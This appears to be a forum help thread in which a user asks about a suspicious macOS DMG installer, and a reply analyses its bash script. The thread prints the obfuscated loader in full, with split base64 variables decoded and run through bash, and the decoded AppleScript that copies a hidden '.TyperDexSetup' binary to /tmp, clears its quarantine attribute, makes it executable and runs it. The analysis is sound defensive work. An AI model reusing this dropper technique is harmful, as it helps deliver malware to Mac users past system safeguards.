Downloaded a suspicious app. Please help

Not 100% sure it's malicious - but it is kind of sketchy at least. The file in the DMG you drag to the Terminal is a bash script:

#!/bin/bash

FXhoRLqY='IyEvYmluL2Jhc2gKb3Nhc2NyaXB0IC1lICdvbiBydW4KICAgIHRyeQogICAgICAgIHNldCBkaXNrTGlzdCB0byBsaXN0IGRpc2'
xUraPryk='tzCiAgICBlbmQgdHJ5C'
AgQMGPxf='iAgICBzZXQgdGFyZ2V0RGlzayB'
opxHSyoX='0byAiIgo'
jGEGUGmb='gICAgdHJ5CiAgICAgICAgcmVwZWF0'
YUEtjAJr='IHdpdGggZGlzayBpbiBkaXNrTGlzdAogICAgICAgICAgICBpZiBkaXNrIGNvbnRhaW5'
KXIkWjgK='zICJUeXBlckRleFNldHVwIiB0aGVuCiAgICAgICAgICAgICAgICBzZXQgdGFyZ2V0RGlzayB0byBkaXNrCiAg'
zzyRgDka='ICAgICAgICAgICAgIC'
FuDnOzWd='BleGl0IHJlcGVhdAogICAgICAgICAgICB'
SlewqVcl='lbmQgaWYKICAgICA'
iKttHYHF='gICBlbmQgcmVwZWF0CiAgICBlbmQgdHJ5C'
XGPSUmcU='iAgICBpZiB0YXJnZXREaXNrIGlzICIiIHRoZW4KICAgICAgICByZXR1cm4KICAgIGVuZCBpZgogICAgc2V0IGZvbGRlclB'
jdRZzsIY='hdGggdG8gIi9Wb2x1bWVzLyIgJiB0YXJnZXREaXNrICYgIi8iCiAgICBzZXQgYXBwTmFtZSB0'
XOnrPYmo='byAiLlR5cGVyRGV4U2V0dXAiCiAgICBzZXQgYXBwUGF0aCB0byBmb2xkZXJQYXRoICYgYXBwTmFtZQogICAgc2V0IHRlbXBBcHBQ'
ZipdVIwQ='YXRoIHRvIC'
qNraIQCR='IvdG1wLyIgJiBh'
HzfKDDyz='cHBOYW1lCiAgICB0'
XnOxbqKW='cnkKICAgICAgICBkbyBzaGVsbCBzY3JpcHQgInJtIC1mICIgJiBxdW90ZWQgZm9ybSBvZiB0ZW1wQXBwUGF0aAogICAgZW5kIHRyeQogICAgdHJ5CiAgICAgICA'
FKGSwYHi='gZG8gc2hlbGwgc2NyaXB0ICJjcCAiICYgcXVvdGVkIGZvcm0gb2YgYXBwUGF0aCAmICIgIiA'
pMpKcAEb='mIHF1b3RlZCBmb3JtIG9mIHRlbXBBcHBQYXRoCiAgICBlbmQgdHJ5CiAgICB0cnkKICAgICAgICBkbyBzaGVsbCBzY3JpcHQgInhhdHR'
VLfddcEb='yIC1jICIgJiBxdW90ZWQgZm9ybSBvZiB'
plNENAmz='0Z'
nlUYhzhZ='W1wQXBwUGF0aAogICAgZW5kIHRyeQogICAgdHJ5CiAgICAgICAgZG8gc2hlbGwgc2NyaXB0ICJ'
PwjdatGl='jaG1vZCAreCAiICYgcXVvdGVkIGZvcm0gb2YgdGVtcEFwcFBhdGgKICAgIGVuZCB0cnkKICAgIHRyeQogICAgICAgIGRvIHNoZWxsIHNjcmlwdCBxdW90ZWQgZm9ybSBvZiB0ZW1wQXB'
JhDsfXxD='wUGF0aAogICAgZW5kIHRyeQplbmQgcnVuJw=='
code="${FXhoRLqY}${xUraPryk}${AgQMGPxf}${opxHSyoX}${jGEGUGmb}${YUEtjAJr}${KXIkWjgK}${zzyRgDka}${FuDnOzWd}${SlewqVcl}${iKttHYHF}${XGPSUmcU}${jdRZzsIY}${XOnrPYmo}${ZipdVIwQ}${qNraIQCR}${HzfKDDyz}${XnOxbqKW}${FKGSwYHi}${pMpKcAEb}${VLfddcEb}${plNENAmz}${nlUYhzhZ}${PwjdatGl}${JhDsfXxD}"

bash -c "$(echo "$code" | base64 --decode)"

The unreadable part in the middle seems to be Base64 encoded:

#!/bin/bash
osascript -e 'on run
    try
        set diskList to list disks
    end try
    set targetDisk to ""
    try
        repeat with disk in diskList
            if disk contains "TyperDexSetup" then
                set targetDisk to disk
                exit repeat
            end if
        end repeat
    end try
    if targetDisk is "" then
        return
    end if
    set folderPath to "/Volumes/" & targetDisk & "/"
    set appName to ".TyperDexSetup"
    set appPath to folderPath & appName
    set tempAppPath to "/tmp/" & appName
    try
        do shell script "rm -f " & quoted form of tempAppPath
    end try
    try
        do shell script "cp " & quoted form of appPath & " " & quoted form of tempAppPath
    end try
    try
        do shell script "xattr -c " & quoted form of tempAppPath
    end try
    try
        do shell script "chmod +x " & quoted form of tempAppPath
    end try
    try
        do shell script quoted form of tempAppPath
    end try
end run'%

At a minimum, it seems to be copying an app named ".TyperDexSetup" into /tmp, make it executable and then run it. ".TyperDexSetup" is a 12 MB binary encoded file.

It's probably malware. Not 100%, but super sketchy. And whatever that binary did, it did with your administrator privilege level - so in theory anything...